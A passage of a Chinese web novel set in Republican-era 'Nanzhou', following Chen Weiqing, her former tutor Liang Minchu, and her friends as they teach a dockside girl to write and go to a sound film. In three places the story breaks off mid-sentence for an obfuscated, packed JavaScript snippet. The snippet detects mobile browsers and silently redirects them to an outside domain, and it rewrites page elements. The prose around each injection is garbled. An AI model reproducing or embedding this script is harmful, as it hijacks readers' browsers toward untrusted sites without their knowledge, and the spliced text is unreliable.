梁悯初仿佛没听清,又像是故意在思索,他的目光轻轻落在她身上,眼底是一种难以言说的复杂——大概是惊讶…吗?他静静地站了一会儿,然后低低地笑了。最初只是唇角微扬,紧接着,那笑容像是被夜风吹开了一道裂缝,终于在眼角绽出一点湿意。 “可别。”他大笑着,最后说,“罗密欧与朱丽叶的结局多悲惨啊——梁山伯与祝英台也不行。我可不想我的学生最后化蝶了。” 我的学生——这个词在陈蔚青的心头猛烈的敲了一下,像是有什么东西化开了。 梁悯初还是站在原地,手指慢慢摩挲着杯沿。露台的风吹起他鬓角的几缕发丝,他的脸掩在夜色里,看不清是清醒,还是醉了。 “你这些日子……”陈蔚青终于开口,声音有些轻,像一颗掉在地毯上的珠子,“都在做什么?” 梁悯初沉默了几秒,像是在确认她是真的问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502445|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个问题。然后他转过身,仰头喝尽杯中余酒,慢慢说道:“往北方走了一点,替我一个旧同学讲了几节课。也去看了一个姨母,她还认得我——还说,‘你穿这身衣服看起来像个正经人’。”他顿了顿,低低笑了一声,“其实那身西装是我爸留下的。” 他把酒杯放下,继续道:“后来我去了趟租界,看到人贴着‘中国人与狗不得入内’的旧告示被撕掉了,可地上还踩着原来告示的边角。报纸写着‘新时代’,可坐在咖啡馆里的人换了名字没换脸,服务生的围裙还是脏的。” 他抬头看她,眼神已经没有了醉意,只剩下一种极其疲惫的清醒。 “我不知道我是谁了。别人看我,是‘英国回来的香港人梁先生’。走到讲堂,是‘香港籍临时讲师’。出了海关,他们叫我‘Leung’。”他慢慢说,“我起初以为我可以四海为家,后来才知道……我根本没有家。” 陈蔚青听着,喉咙像被什么堵住了。她伸手扶了一下露台的栏杆,明明站得好好的,却仿佛怕自己下一秒会倒下去。 “那你……”她鼓起全部的力气,像是在赌上一切尊严,“你能回来吗?” 这句话说出口的那一瞬,她几乎是闭着眼的。她怕他笑,也怕他不笑;怕他说不,也怕他说是。怕的是,这一切都没有意义。 她几乎是孤注一掷的,这几乎是整个晚上最容易暴露这场谎言的一句话、一个行为,但她知道她以后可能再没有机会了,她近乎绝望地,问出了一个听起来再平常不过的问题。 她睁开眼,看着他,看着他像是被风吹得微微晃动的身影。 梁悯初没有立刻回答。他只是望着她,然后又望着站在她身后的沈时砚。陈蔚青不知道他是看透了这个谎言,还是只是单纯的醉了。 他忽然笑了,声音很低,像是酒意泛起:“好啊。” 他没有问回哪里,也没有问多久,只是轻描淡写地答应了一句——像是应她一个愿,也像是给自己一个喘息的借口。 那一瞬间,陈蔚青差点控制不住地往前走,像个十岁的小孩那样扑进他怀里,在他肩头痛快地哭一场,说一句“我好想你”。她知道她不行,她甚至知道这个“好啊”并不一定能作数。 她站在那里,手指绞紧了裙摆,喉咙泛酸,心跳得像一颗太过饱满的果实,在风中摇晃到极致,差一点就要烂开,却没有落地。 冷风吹过来,吹在她脸上,她像逐渐苏醒了一般,她拉起裙摆,回忆着老师曾经教给她的,朝他行了一个西式的礼——仿佛这种不合时宜的得体能弥补什么,她挽起沈时砚的手,离开了露台。 她回头,往后看,一点都看不清那人的脸。 12. 新青年 秋风卷着黄叶扫过陈家的后院,但秋天的南州和夏天没什么两样,枝头仍然是郁郁葱葱的,天气还是闷的可怕,只是地上偶多了几片落叶和一丝丝的若有若无的寒意。 锅炉房门吱呀一响,被猛地推开。 “我要学写字!”一个熟悉的声音响亮地在室内炸开。 陈蔚青手里的铅笔头顿了一下,还没来得及转身,就见罗简一脚踢开门,大马金刀地站在门口,头发有点乱,脸颊微红,像是一路小跑上来的。 她还没说话,罗炽南慢悠悠地抬起头,从一堆打孔卡纸后探出半张脸:“你发什么疯?” “我不疯!”罗简气鼓鼓地瞪他,“我就想学写字!” 蔚青一时间没反应过来,眨了眨眼,先指着罗简,又指了指罗炽南:“你这个当哥哥的,怎么不教她写字?” “我也不会啊。”他理直气壮地说,声音一落,又像怕挨数落似的,补了一句,“……真的不会。” “你不会写字?”蔚青难以置信地看着他,“那你认字吗?” “认啊!但,呃,反正那些简单的肯定没问题……”罗炽南越说心越虚,举起一根还沾着油污的手指,“别这样看我,我还会英文呢……就是那种拆机器时看懂型号的英文。” 蔚青扶额,哭笑不得:“行吧!我来教你。” 罗简眼睛立刻亮了,像捡到了糖:“真的?” “我也不是白教的。”蔚青一边说,一边敲了敲桌上那沓刚写到一半的纸稿,“你得帮我朋友黎婉芝出出主意。她想办一张刊物,可最近一直没什么起色。你鬼点子多,说不定能帮上忙。” “什么刊物?写什么的?”罗简一歪头,眼睛闪闪发亮地看着她。 “新思想啊,新社会啊什么的。” “婉芝那报纸还在办啊?”沈时砚头也没抬,“我还以为早就因为没人看休刊了。” “她可是说要办成南州的《新青年》。”蔚青笑了,扬了扬眉,“阿简,去,把你那写字的东西都拿来,我这就给你上课。” 锅炉房的老木桌被清了出来,油迹斑斑的卡纸、电阻和导线被小心推到一边,腾出一块空地。阳光从高窗斜斜照进来,落在桌面上,那是一道秋日特有的暖黄。 “坐好。”陈蔚青像个小先生似的,把一张泛黄的格纸摊在桌上,“来,先写‘人’字。” 罗简托着腮坐下:“你别说,这样一坐还真像小时候茶水铺里那几个学徒上课。” “你小时候就该上这个课。”蔚青把笔往她手里一塞,“握稳了。” 罗简试着在纸上写下一个“人”,歪歪扭扭,像个快摔倒的小人。 “哇,好丑。”她自己先笑了出来。 “你也知道丑?”蔚青也忍不住笑了,“歪成这样也敢拿出来。” “你当年写字就很美?”罗简反击道。 蔚青抬头想了想,明明是一个笑话,她的回复却格外的严肃:“太久了,不记得了。”她顿了顿,补了一句,“而且我小时候是跟老师一个字一个字学的。” 话音刚落,气氛就有些微妙地静了一下。 罗简察觉出来了,转开话题:“那我是不是也算拜你为师啦?” “我可没你那大礼。”蔚青拍了拍她的脑袋,“你快写,写十遍‘人’,再写‘心’。写完我来检查。” “是——先生。”罗简拉长了语调,嘴角却忍不住翘着,低下头一笔一画写起来。 锅炉房里一时安静下来,只听见铅笔在纸上沙沙作响。远处有鸟飞过,高窗外秋叶簌簌落下。 沈时砚正拿着锉刀修电机,他瞥了一眼那边写字的两人,嘴角一翘。 “天、地、玄、黄——”罗简念着笔画,咬着牙写下一排,像是在给每一笔都按上力气。 陈蔚青坐在她旁边,一边给她正字,一边笑:“好丑啊。” “你才丑。”罗简哼了一声,“我写得可认真了。” 蔚青弯起嘴角,把她写得歪七扭八的“玄”字挑出来:“你这‘玄’像个摔倒的老头。” “老头就老头!”罗简撇撇嘴,“他还能站起来。” 她们从《千字文》写到《弟子规》,写到“天地玄黄,宇宙洪荒”,又写到“床前明月光,疑是地上霜”。 陈蔚青扶着脸看她:“你学得挺快的呀,虽然还是很丑,但比大多数初学者快多了。” “我才不是初学者。”罗简下巴一抬,语气倔强又有点小骄傲。 “哦?”蔚青挑眉,“你学过?” “不是。”她甩甩手腕,喘了口气,“我小时候经常捡报纸看,码头那边,别人不要了就丢到水边,我就翻回来擦擦干净看。那些字,我不懂,但看得多了也能记下一点。” 陈蔚青一下子静了,像是没想到她会这么说。 “你还看报纸?”她语气放轻了点,“都看些什么?” “不知道啊。”罗简也没抬头,“有时候是北边来的报纸,有时候是香港的。什么都看,有命案、有香粉铺打广告,还有人写诗。”她顿了顿,小声说:“有一回我还看见过写一个新人女演员阮玲玉的,她长得真漂亮啊……我也想演电影。” 这一句话,她说得很轻,但铅笔仍在纸上划着,像是不想让那点羞涩显得太明显。 陈蔚青没有立刻回话,只是低下头,帮她把最后一行“明月”改正了一笔。 “行了行了,诗写够了。”陈蔚青收起那页满是李白和杜甫的字练,“现在写点重要的。” “写什么?”罗简甩了甩手腕,仿佛真把自己当成了正经学生。 “写你名字。”蔚青把一张干净的纸推过去,拿笔在角落写了两个字作范例:“羅、簡” “……这我会写。”罗简嘀咕着照着写了一遍,歪歪扭扭,但倒也能认。 “我一直想问,”陈蔚青托着下巴看她,“你为什么叫‘简’?‘罗简’,听起来像是英文名‘Jane’的音。” “我也不知道啊。”她把铅笔放下,“听说是以前养大我的那个码头工人给我取的。那时候有个在船上做事的读书人路过,说他最近在翻译一本洋书,说是女主角也叫‘简’,挺厉害的……所以就拿来给我起名了。” “……不会是《JaneEyre》吧?”沈时砚的声音从铁块堆后响起,他慢悠悠地探出头来,“我以前读过一点点。讲的是一个从小被寄养在舅妈家的孤女……”他说到这里突然顿住,像是意识到了什么,没再往下讲。 空气突然静了几秒。 罗简低下头,盯着那张写有“罗简”二字的纸,一笔一画的,看得出神。 “我也不知道。”她忽然开口,声音低下来,“我连那个翻译书的人是谁都不知道,也不记得那个把我养大,把我扔到街上的工人是谁。” 她抬起头,眼睛盯着桌上的那盏小台灯,“我不知道我爸爸是中国人还是妈妈是中国人。我有时候想……如果我要找他,那我该去找一个男人,还是一个女人?” 没人说话。 “我以前以为我是中国人。”她咬着牙笑了一下,“但小时候在巷子里玩,总有孩子说我是‘半个鬼子’。我又不会说洋文,洋人看我像乞丐,中国人看我像外人。现在长大一点了,虽然也没人说了,但……” 她手指一点一点地摩挲着那两个字:“我只是……有时候不知道我是谁,我该去哪。” 沈时砚似乎想说什么,最终只把眼神移开,继续在他手里的纸上画电路图。 她绽开一个苦涩的笑:“但我现在在纺织厂有工作!还有朋友!还有人教我写字!已经很好了!” 陈蔚青慢慢伸手,把那张写有“罗简”的纸叠起来,压在她面前。 “你已经有名字了。”她轻声说,“你已经有地方写下这个名字了。” 锅炉房里一时静得出奇,连窗缝灌进来的风都像是迟疑了一下。 就在这时,罗炽南“哗”地一下站起来,打破了沉默。 他走过来,弯腰从罗简面前抢过那张写有“罗简”的纸,嘴里嘟囔着:“哎呀,哭什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502446|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭……难看死了。” 他抄起铅笔,动作笨拙地在她名字的下面写了三个字:“羅熾南”。笔划粗重、歪歪扭扭,像是六岁小孩的字。 “看,”他扬了扬纸,“这上面不是还有我呢嘛!” 他一边把纸推回去,一边说:“怎么就没有家了?你哥我还活着呢,你爱找爸找妈,那是你自己的事;可我在这儿呢,从小到大都在这儿。你哭了,我打人;你挨饿,我想办法偷吃的回来。” 他嗓子有点哑:“我不是给你唱过戏,不是给你剪过头发了吗?这不都是哥哥做的吗?” “你说你没家。”他声音低了点,“那我算什么?” 罗简张了张嘴,没说出话来。她把那张纸重新抓到手里,看了好一会儿,突然一把扑过去,把哥哥抱住,死死搂住不撒手。 “……我有家。”她的声音闷在他肩膀里,带着点鼻音,“我早就有家了。” “哎哟你轻点。”罗炽南嫌弃地拍了拍她的后背,“你一身汗,黏死了。” 锅炉房门又一次“砰”地被推开,比刚才还响。 “干嘛——你们这是在锅炉房搞罗曼蒂克啊?”黎婉芝的声音像一颗弹珠一样弹进屋里,一边说一边走进来,嘴角噙着笑,像是刚从喜剧舞台上跳下来的女学生。 陈蔚青猛地回头,眼睛一亮:“婉芝?你怎么来了?” 黎婉芝穿着一身偏旧的蓝白相间布裙,腰间系着根带子,背上斜挎着一只被书和报纸撑得圆滚滚的帆布包。她头发被风吹得有点乱,鞋跟还粘着一小片不知哪里带来的树叶。她一手叉腰,一手扯下背包,像个准备宣布什么的人。 “再不来你就完蛋了。”她喘了口气,“你家刚才派人杀到我家门口,说是来找你,我只好硬着头皮说你去女中帮我爸教书了。真不知道还能帮你瞒多久……” 她说着话时已经扫到了屋里另一位陌生但又特别的身影——罗简。 “欸?这就是你说的那个小姑娘?”她挑眉看向蔚青,眼神里写着“我很感兴趣”。 “没错。”蔚青一手拉过罗简,一边笑着说,“我正教她写字呢。打算让她以后替你那份伟大的报纸添砖加瓦。” 黎婉芝当即双眼发光,一步冲过去拉住罗简的手,像发现新大陆似的:“太好了太好了!我离办成南州的《新青年》又近一步啦!” 她一边握着罗简的手摇,一边转头对蔚青说:“等我哪天去法国了,这张报纸就交给你了!” “你认真的?”蔚青挑眉,“南州的新青年?你还真是敢想。” “怎么啦?”婉芝理直气壮,“我办不成《新青年》,那是因为没人给我写文章!你这不是已经在亲手培养作家了?” “你怎么不说,是因为你没有周树人给你供稿呢?”蔚青撇嘴。 “也有这方面的原因。”婉芝不以为意地耸耸肩,还做了个夸张的鬼脸,“但鲁迅不来,蔚青就来嘛!” 罗简全程懵懵地看着这两个一唱一和的小姐,说不出话来。 “她……她真的要让我写文章?”她小声问。 “你会写字我就让你写。”黎婉芝笑得眼睛弯弯的,“不会也没关系,我觉得有潜力。” “她这是在夸你。”陈蔚青忍不住解释。 “哦!”罗简终于反应过来,咧嘴一笑。 这时沈时砚抬起头,语气不咸不淡地插了一句:“婉芝你那张报纸现在有几个读者啊?” “呸,你懂什么。”婉芝白了他一眼,拽着帆布包坐在桌边,“我可是南州最有理想的女报主编,有蔚青看不就行了。” “居然还有蔚青在看,那比我想象的多。”沈时砚继续低头摆弄电阻丝。 “你少酸!”婉芝从包里掏出几张粗糙的油印稿子,摊在桌上,“呐,你看,第六期。” 众人拿起报纸,你一言我一语地讨论了起来。五人互相打趣的声音再锅炉房里此起彼伏,锅炉房外风吹得树叶哗啦啦响。罗简别过头,看着窗外。 今年一定是个丰收的年。 13. 周六上午 “但娜拉毕竟是走了的。走了以后怎样?易卜生并无解答……” 陈蔚青伏在桌上,指尖轻轻按着纸页,眼睛却看向窗外。窗外阳光正好,一群麻雀在桂树上跳来跳去,啾啾喧闹,像在议论什么。 她已经读了这段演讲词整整三天。最初只是黎婉芝觉得这个演讲讲得好,极力推荐她读,她一开始也就是看看,但越读,越像是听见有人在她耳边轻声问话—— “你呢?你会离开吗?离开以后,你要做什么?” 她没法回答,她想起娜拉那句话:“我是一个人,跟你一样的一个人,至少我要学做一个人”。 但她是什么样的一个人呢?或者说要做、想做一个什么样的一个人呢。 她想起婉芝眼睛亮亮的,说要办最好的新刊物;想起罗简小小声地说她也想演电影;想起沈时砚在女中的教室里拘谨又滔滔不绝地讲他的计算机器;想起罗炽南说自己要管理一个工厂让妹妹过上好生活。她忽然有点喘不过气来,无论如何,每一个人仿佛都有、都在走自己的路,只有她还站在原地,不知道往哪去。 她起身,小心把纸稿收好,换好一身最“规矩”的衣裙。浅灰色的学生装,头发扎得整整齐齐,像个认真的学生,背上了一个帆布的斜挎书包。 然后她去了南州市第一男子中学。 她听黎婉芝提过,男中有一个新来的老师,是香港人,讲数学的,说话掺着英音和英文单词,还引用西方哲学震住了半个班。 她觉得,也许是他。 她站在校门口,从下午等到傍晚。 南州市第一男子中学的校门很大,灰砖青石,带着新式学堂的气派。她站在门口的时候,身旁的男学生三三两两从里头走出来,有人看了她一眼,有人迅速移开目光。一个戴着眼镜的少年从她身边快步走过,耳根红得像要冒烟。 她装作没看见,只紧紧攥着书包带。 不久后,一个穿着洗得发白的长衫的老夫子拄着拐出来,抬眼见她站在门口,眉头顿时拧了起来:“小姑娘家家的,成何体统?男校门口晃悠,不知道会让人说闲话吗?” 她低下头,微微躬身行礼:“先生,我只是来找一位老师。” 老夫子哼了一声,嘀咕着“如今的姑娘都这么不检点了”,摇着头走远了。 她站在台阶下,日头从头顶移到了西边,树影从她脚下慢慢拉长。汗水从脊背淌下来,被风一吹又凉,她的裙摆轻飘飘地贴在腿上,心也渐渐沉了。 “他会不会早就走了?” “他真的还在吗?” “……他会不会不愿意见我?” 她咬着嘴唇,指尖微微颤抖,几次想走,又几次停住。她不知道她到底在坚持什么。她知道那可能根本不是他——也许是另一个香港来的数学老师,也许根本没这个人。但心里那点固执就像深秋的树根,明明该枯萎,却还缠在土里,死死地不肯放手 天色慢慢暗下来,街灯开始亮起,校门口只剩下偶尔几个迟到的学生。她的胃空空的,脚也站麻了,连头发都被风吹得有些乱。 然后,她看到了那个人影。 他从校门深处走出来,背着帆布书包,穿着一件旧长衫,还是那种熟悉的步伐——慢而稳。 她几乎不敢相信自己的眼睛。 他也看到了她。 他顿住了脚步,脸上露出一丝极轻的、几乎无法察觉的震动。风吹动他的衣角,那一瞬间,时间仿佛倒回了从前,在陈家的书房,在讲义堆里,在那片被压到平静的时光里。 “……蔚青?”他终于开口。 她轻轻点头,声音有点哑:“老师。” 他走近了,看着她,眼神里是一种被岁月磨过的平静。她张了张嘴,许久才问:“你能……和我聊聊吗?” 他看了她好一会儿,像是在读她的心思,最终点了点头。 “……好。” 她忽然不知道该去哪了,转头看着这条熟悉却又陌生的街,犹豫地说:“现在……还有哪儿能坐吗?” 他叹了一口气,那语气既像无奈又像旧梦重温的自嘲:“那就…去那个糖水铺吧。” 糖水铺要从广南路的黑市那边进去,那一带出了名的乱。天色暗下来之后,街道两旁的铺子都已经收摊,只剩一些路边点着煤油灯的小摊,还在低声吆喝。风一吹,灯影摇晃,像一双双眼睛在盯着过路的人。 她走在梁悯初的身后,脚步轻得几乎不出声。她发现自己的视线总是不自觉地落在他的背上——他的背还是那样挺,步伐还是那样沉稳,几缕白发仔细地被他藏在黑发里。仿佛换了身份、换了时光,他依旧是那个站在她身边,偷偷给她讲那些“一只金丝雀并不需要的知识”的老师。 他们转过街角,钻入一条小巷。 那是她第一次来黑市时也经过的地方。 那时她是跟着罗家兄妹,抱着拥抱世界的背面的一腔勇气。如今重返旧地,却是在老师身后,像一个归队的学生。 巷子里依旧是那种难辨气味的潮湿空气,还有掺着糖油和铁锈味的混合臭味。地面坑坑洼洼,角落里还有人蹲着低声交易。几个小贩朝他们看来,其中一个认出了梁悯初,咧嘴笑着点了点头,又识趣地没搭话。 她没说话,却感觉自己的心跳得厉害,不是害怕,而是那种从高处往下跳的失重感。 糖水铺在黑市的尽头。 秋天来了,老板终于把那个写着“杨枝甘露”的白布招牌摘了下来,换上了“红豆汤圆”,门口有一丛快要枯了的吊兰。一走近,一股带着椰汁味的热甜气息扑面而来,熟悉的记忆扑进鼻腔,让人一瞬间松懈下来。 梁悯初推开门,门上挂着的铜铃“叮当”一响,屋里蒸汽氤氲,灯光昏黄。那个穿着背心、拿着大勺的老板正往锅里倒糯米浆,一抬头就看见了他。 “哟,梁老师!”老板一边放下锅铲,一边咧开嘴笑,“好些天没来了啊。哎?这个小姐不是……”他皱了皱眉,没说下去。 “麻烦给我们来两碗绿豆沙。”梁悯初语气轻得像风,“一碗不要太甜。” “知道知道。”老板擦了擦手,转身就去碗橱边忙活。 陈蔚青在靠窗的位置坐下,望着窗外巷子里晃动的灯火,一时间有点恍惚。这个地方,上一次来,她是被拉着进来的;这一次,是他带她进来的。 等碗被老板端上桌,热气带着绿豆清香扑鼻而来,她才回过神。那碗绿豆沙冒着热气,没有加海带,而是加了一些糯米丸子。 “是你最喜欢的。”他说。 她本想得体地感谢老师的用心,但她没说话,低下头,轻轻搅了搅碗里的绿豆,绿豆被搅得和糯米丸子混在一起,她声音微微发紧:“你……我来不只是为了这碗绿豆沙的。” 他沉默了一下。 “我该向你道歉。”他说,声音低低的,语气却出奇的诚恳,“我上次误解你了。还没跟你说对不起。” 她怔了一下,抬起头看他。 他的眼神没有闪躲,一如从前那样,直视着她,像是再讲一堂认真不过的课。 “那天……我说了很多不该说的话。”他继续说,“有点迟了,对吧?” 那一刻,陈蔚青只觉得胸口有什么轻轻一震。她以为这辈子都不会听见这句话了。她轻轻地摇了摇头,又怕老师看不见她的回答,于是又用力地摇了摇头。 糖水的香味、黑市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502447|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喧哗、她冰冷的手指和滚烫的碗沿,都在这一刻交织成一个模糊又真实的世界。 她声音有点哑:“我以为……你再也不肯见我了。” 他笑了笑:“我答应了你要回来的。” 回来就好,我好想你。她想这样说,但又怕这样不够得体,又会把他赶走。她发现她不会说话了,就像个无助的孩子。 于是两人都没再说话,碗里的绿豆慢慢冷却,碗边结起一点点糖霜的花边。铺子里其他桌也陆续坐了人,喧闹声慢慢地盖过她的心跳,她冷静一下,问道:“为什么去男中教书呢?为什么不回…陈家?” 他愣了一秒,随即笑着回答:“影响不好,我总得考虑到沈公子的感受。” 过了一会儿,他才轻声道:“你长大了。” 陈蔚青抬起头,眨了眨眼:“你这话我小时候就听你说。” “那时候是说你个头长高了。”他语气一顿,似乎想笑,却没有笑出来,“现在是真的长大了,还有了真正值得你去喜欢的人。”他把真正那两个字咬得很重 她心中泛起一阵酸楚,那是个谎言,那是个她亲手编织的谎言。 “其实我……”陈蔚青忽然低声开口,声音像掺着夜风似的,软软地飘在糖水铺的蒸汽里,“我还有很多事情不会。” 她攥紧手里的勺子,目光落在碗底那几颗已经快要散开的绿豆上。 “比如那个机器——我不是还在做嘛,之前你说过的布尔代数……我最近一直想找资料,可是也不知道找谁问。”她咬了一下唇角,“你上次提过那些逻辑判断、函数映射,我记了一半,又记不全。” 她说得小心翼翼,像是怕惊动什么,又像是怕求得太多。 梁悯初听着,眉间的光影微动了一下。他没有急着回答,只是轻轻地从怀里掏出一张纸巾,擦了擦手指沾上的糖水,然后才开口:“我可以教你。” 蔚青猛地抬起头,眼神像是忽然亮了:“真的?” “当然是真的。”他笑了笑,“但只能周末,我现在是个穷老师,平日里还得讲五六节课——我还要吃饭呢。” 蔚青也笑了,眼神里却有一丝难以掩饰的期待:“那你……不能直接来我们那儿吗?就是我们平时做东西的那个地方,是个锅炉房,我可以告诉你在哪的。”她的语气已经是小心中带点试探了。 梁悯初没立刻回答,只是用勺子慢慢搅着碗里的糖水。过了片刻,他才摇了摇头。 “不行。”他说得很轻,“那是你们的东西,不是我的。” 他的语气并不冷淡,甚至有点温柔,可是拒绝的意味却无比清晰。 “你是不是觉得我们这些个东西,其实都是做不成的?” “不,我觉得至少你们做得比我那时好太多。” “我可以帮你,但我不能加入你们。”他放下勺子,像是怕她误会,补了一句,“那是你们年轻人的世界。我已经……走不了那么快了。” 糖水已经快凉了,碗沿泛起薄薄一层糖膜。 陈蔚青看着他,像是还有好多话没说出口。可最终她只是点了点头:“那……你周末什么时候有空?” “你挑吧。”他站起身,把椅子轻轻往回推,“反正我现在……也不是什么抢手的人了。” 他朝她微微一笑,身影像是和很多年前那个初来陈家的“梁老师”重合在了一起。 “那就……周六下午吧?”她也站了起来,声音轻得几乎被风吹散,“我来找你。” “好。” 铺子门外的黑市已经安静下来,只有几盏昏黄的灯还亮着。他们一前一后走出糖水铺,那条街还是那条街,可脚步声听起来却比上次更踏实了一些。 14. Wenn ich tanzen 陈蔚青趴在锅炉房的桌子上,桌面已经被擦得发亮。窗外风吹着枯叶在铁皮屋檐上飒飒作响,她的铅笔头却迟迟停在空白纸上。 “命题清晰。”她低声重复着梁悯初的说过的话,“不能模棱两可,也不能感情用事。” 她写下第一句,又划掉。写了第二句,又擦掉。最终,她在纸上郑重地写下:“如果服从是错的,那不服从就一定是对的吗?” 写完她就停住了,盯着那一行字,仿佛盯着镜子里的自己。逻辑代数并不允许犹豫,可她犹豫了许久。 这个问题她不是第一次问自己,但这是第一次,用逻辑的方式问出口。 她在纸下画了两个格子,一边写上“是”,一边写上“否”。 铅笔头在“否”上轻轻一点,又停下。 那是自然,这是逻辑,是数学,是不容置疑的。 “服从是错的”的否命题是“不服从是不错的”,也就是“不服从一定是对的”。 但可惜真命题的否命题不一定是真命题。 她忽然觉得这不像是在解一道逻辑题,更像是在押一场赌注。 她手指还搭在纸上,耳边却传来“沙沙沙”的声音。她抬起头,发现不远处,罗简正趴在一块空着的卡纸板上写东西。她身子半伏着,舌尖还顶着嘴角,像是在给每一个字都加上点力气。 “你在写什么?”陈蔚青有些好奇。 “没什么!”罗简“唰”地把那张纸往怀里一揣,眼睛一瞪,像只被抓住偷吃糖的小猫。 “让我看看嘛。”蔚青伸出手。 “真的没什么啦!”她脸颊一红,又悄悄往后藏,纸边却露出一小行歪歪斜斜的铅笔字。 陈蔚青笑了笑,轻轻一拉,罗简没拦住,只好垂着脑袋任她抽走那张纸。 纸张上是几段零碎的句子,字不工整,标点混乱,有些字还一看就知道是生拼硬造,但那种认真劲却从歪歪扭扭的笔划里透了出来。 她写的是码头边的一个女人。每天早晨天还没亮,就提着竹篮子和破桶,赤着脚踩着湿滑的青石板下来洗衣服。她总爱唱歌,不是那种戏曲,没人知道那是什么,或许是她自己写的呢,歌曲的尾巴拖得长长的,像是不愿意结束。 有一回冬天看到那女人蹲在水边,脚已经冻得通红,鞋子却没脱,裤脚浸着水。她说她原本想叫她回去歇歇,可她唱得太入神,像是忘了这个冬天是给人冷的,忘了水是给人疼的。 “多冷的天呐,像刀子一样。” “还好咯,我听说往北边走啊,冬天会下雪,跟人一样厚呢。” “大娘,你见过雪吗?” “没有,但应该是白色的吧。” 她写她有次在码头角落睡午觉,迷迷糊糊地听到那女人唱到一半停下,远远地传来别人口气粗的喊声:“阿珠——饭呢!”然后歌声就没了。她从石头缝里抬头看过去,只看到那女人把衣服一裹,飞快地往家走,走几步又回头看河水,像是怕有人偷了她洗到一半的褂子。那女人手上的皱纹像麻绳,唱歌的时候总是笑,笑得嘴角往下垂。她从来没听清那女人唱的是什么,但就是好听,直到现在,她还是会在梦里听到那首歌。 “你这篇,写得真挺好。”陈蔚青轻声说。 “你别笑我啊!”罗简抱着头,“我就瞎写写,反正你说以后要写文章嘛,我就想试试。” “我为什么要笑你?”蔚青拍拍她,“这比我第一次写的还好。” “真的?” “真的。”她认真地点头,“你这篇,我要给婉芝看。说不定,下期的报纸上就能登出来。” 罗简嘴张得大大的,最后狠狠地点了点头:“嗯!” “那么感人?”沈时砚在角落悠悠地开口,手上还在摆弄着他的继电器,“那我也写一篇,题目叫《命题逻辑分析》,附带三页数学证明,怎么样?” “滚。”陈蔚青和罗简几乎异口同声。 就在这时,锅炉房门被猛地推开,风卷着几张废纸飘了进来,黎婉芝穿着一件浅米色短外套,风风火火地冲了进来,手上举着一张泛黄的宣传单。 “走啦走啦!电影院今天放新片!”她边喘气边挥舞着纸,“派拉蒙的新片,听说是有声片,老黎说那唱歌的人像是在耳边唱的——要不要听听?” “有声片?”罗简一瞬间坐直了,眼睛亮得像猫看见灯,“什么意思?真的人说话吗?” “当然是!”婉芝得意地一挥手,“在明珠电影院,今天晚上六点,赶得上!我刚和售票的说好了,有三张票。” “哎你怎么就准备了三张?”蔚青狐疑地看她。 “当然是给你、我、还有我们的小作家。”婉芝笑眯眯地看向罗简。 沈时砚在角落咳了一声:“好歹我也出过力啊,电影不给我看?” 罗炽南也在角落咳嗽了一声:“咳咳,我就不用了,给我妹妹带回来就行。” “等你写完你的逻辑分析,我们请你看《论人类不平等的起源与基础》。”婉芝翻了个白眼,把宣传单甩进他怀里,又转头对罗炽南说,“抱歉忘记你了南哥,咱们看浪漫爱情故事也不好意思带着你们是吧,反正你放心好了!一定会把你妹妹全须全尾地带回来给你的。” 天色将暮,三人有说有笑地从锅炉房里走出去,一路经过码头旧街,走过昏黄灯火和小贩摊前的汽水箱。明珠电影院的门口已站了不少人,穿长衫的、穿西装的、还有穿洋裙的太太。灯牌上的片名写着《茜茜与皇冠》,灯泡一闪一闪地亮,像是要把整座城市照进新的时代。 “哇……”罗简仰着头看那幕布一样的灯箱,“第一次看电影哎……” “而且是第一次听见电影会说话。”婉芝搂住她。 “那我该穿得隆重点……”她悄悄拉拉自己的工装裤。 “没关系,我们就是来见见世界的。”陈蔚青站在她另一边,语气轻柔,却带着坚定,“反正我们已经在写它了。” 电影院大门缓缓打开,柔和的光从门缝中泄出来,映在三人脸上——那是少女最明亮、最满怀期待的表情,如夜色中最早亮起的三盏灯。 电影厅的灯缓缓熄灭,荧幕前一瞬间漆黑无声。 罗简紧紧攥着椅子的边缘,眼睛睁得比灯泡还大。黎婉芝靠在她旁边,嘴里嚼着半化的硬糖,眼神里却早就亮晶晶的,像是比谁都知道接下来会发生什么。陈蔚青坐在最边上,裙角整整齐齐地收好,手里还攥着那张被折过几次的票根。 银幕亮起来的时候,是一点微光在黑暗里挣扎,然后一下子炸开,像天花板裂出一道缝,从里面灌下了另一个世界的光。 有声片开始了。 屏幕上,一个女人——那是主角茜茜公主,她在奔跑,她的裙角扬起,嘴巴张开,竟真的发出了声音。 不是字幕,不是讲解,是——她在说话,她在唱歌。 罗简像被电到了一样,整个人往前倾了半寸。 